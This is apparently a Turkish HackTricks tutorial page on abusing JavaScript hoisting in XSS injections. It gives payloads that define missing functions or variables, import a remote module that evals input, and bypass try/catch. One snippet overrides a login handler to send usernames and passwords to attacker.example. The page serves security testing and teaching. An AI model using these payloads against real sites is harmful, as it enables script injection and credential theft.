JS Hoisting
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
JavaScript dilinde, değişkenlerin, fonksiyonların, class’ların veya import’ların bildirimlerinin kod çalıştırılmadan önce kavram olarak kapsamlarının en üstüne taşındığı Hoisting adlı bir mekanizma tanımlanır. Bu süreç, betiği birden fazla geçişte işleyen JavaScript motoru tarafından otomatik olarak gerçekleştirilir.
İlk geçiş sırasında motor, sözdizimi hatalarını kontrol etmek ve kodu bir abstract syntax tree’ye dönüştürmek için kodu parse eder. Bu aşama hoisting’i içerir; belirli bildirimlerin yürütme bağlamının en üstüne taşındığı bir süreçtir. Parse aşaması başarılı olursa, yani sözdizimi hatası yoksa, betik yürütülmeye devam eder.
Anlaşılması kritik olan noktalar:
- Yürütme gerçekleşebilmesi için betik sözdizimi hatalarından arındırılmış olmalıdır. Sözdizimi kurallarına sıkı sıkıya uyulmalıdır.
- Hoisting nedeniyle betik içindeki kodun yerleşimi yürütmeyi etkiler; yürütülen kod metinsel gösteriminden farklı olabilir.
Hoisting Türleri
MDN’den alınan bilgilere göre JavaScript’te dört farklı hoisting türü vardır:
- Value Hoisting: Bir değişkenin değerinin, bildirim satırından önce kapsamı içinde kullanılabilmesine olanak sağlar.
- Declaration Hoisting: Bir değişkene, kapsamı içinde bildiriminden önce referans verme imkanı sağlar; bu durumda
ReferenceErroroluşmaz, ancak değişkenin değeriundefinedolur. - Bu tür, değişkenin gerçek bildirim satırından önce bildirilmesi nedeniyle kapsam içindeki davranışı değiştirir.
- Bildirimin yan etkileri, bildirimi içeren diğer kod değerlendirilmeden önce gerçekleşir.
Detaylandıracak olursak, function bildirimleri tip 1 hoisting davranışı gösterir. var anahtar kelimesi tip 2 davranışı sergiler. Lexical bildirimler, yani let, const ve class, tip 3 davranışını gösterir. Son olarak, import ifadeleri hem tip 1 hem de tip 4 davranışları ile hoist edilir.
Senaryolar
Bu nedenle, tanımlanmamış bir nesne kullanıldıktan sonra JS kodu enjekte edebildiğiniz senaryolarınız varsa, bildirimi yaparak sözdizimini düzeltebilir (böylece hata atmak yerine kodunuz çalıştırılır):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Daha Fazla Senaryo
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
Hoisting ile exception handling’i atlatma
Sink try { x.y(...) } catch { ... } ile sarıldığında, ReferenceError payload’unuz çalışmadan yürütmeyi durdurur. Eksik identifier’ı önceden bildirerek çağrının devam etmesini sağlayabilir ve enjekte ettiğiniz ifadenin önce çalışmasını sağlayabilirsiniz:
// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)
// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //
function x(){} değerlendirmeden önce hoist edilir, bu yüzden parser artık x.y(...) üzerinde hata fırlatmaz; prompt() y çözülmeden önce çalışır, ardından kodunuz çalıştıktan sonra bir TypeError fırlatılır.
const ile bir ismi kilitleyerek sonraki bildirimleri engelleyin
Eğer üst düzey bir function foo(){...} parse edilmeden önce çalışabiliyorsanız, aynı ada sahip bir leksikal bağlama (ör. const foo = ...) bildirimi, sonraki function bildiriminin o tanımlayıcıyı yeniden bağlamasını engeller. Bu, sayfada daha sonra tanımlanmış kritik handler’ları ele geçirmek için RXSS’te kötüye kullanılabilir:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
Notes
- Bu, yürütme sırasına ve global (top-level) scope’a dayanır.
- Eğer payload’unuz
eval()içinde çalıştırılıyorsa,evaliçindekiconst/letblok kapsamlıdır ve global binding’ler oluşturmazlar. Gerçek bir globalconstoluşturmak için koda sahip yeni bir<script>elementi enjekte edin.
Dynamic import() with user-controlled specifiers
Server-side rendered uygulamalar bazen kullanıcı girdisini komponentleri lazy-load etmek için import()’a iletir. import-in-the-middle gibi bir loader varsa, specifier’dan wrapper modüller oluşturulur. Hoisted import evaluation, sonraki satırlar çalışmadan önce saldırgan kontrollü modülü getirip çalıştırır; bu da SSR bağlamlarında RCE’ye olanak sağlar (bkz. CVE-2023-38704).
Tooling
Güncel scanner’lar açıkça hoisting payload’ları eklemeye başladı. KNOXSS v3.6.5 “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” ve “Hoisting Override” test vakalarını listeler; bunu ReferenceError/TypeError fırlatan RXSS context’lerine karşı çalıştırmak, hoist tabanlı gadget adaylarını hızlıca ortaya çıkarır.
References
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- XSS Exception Bypass using Hoisting (ch4n3, 2023)
- KNOXSS coverage – hoisting override cases
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


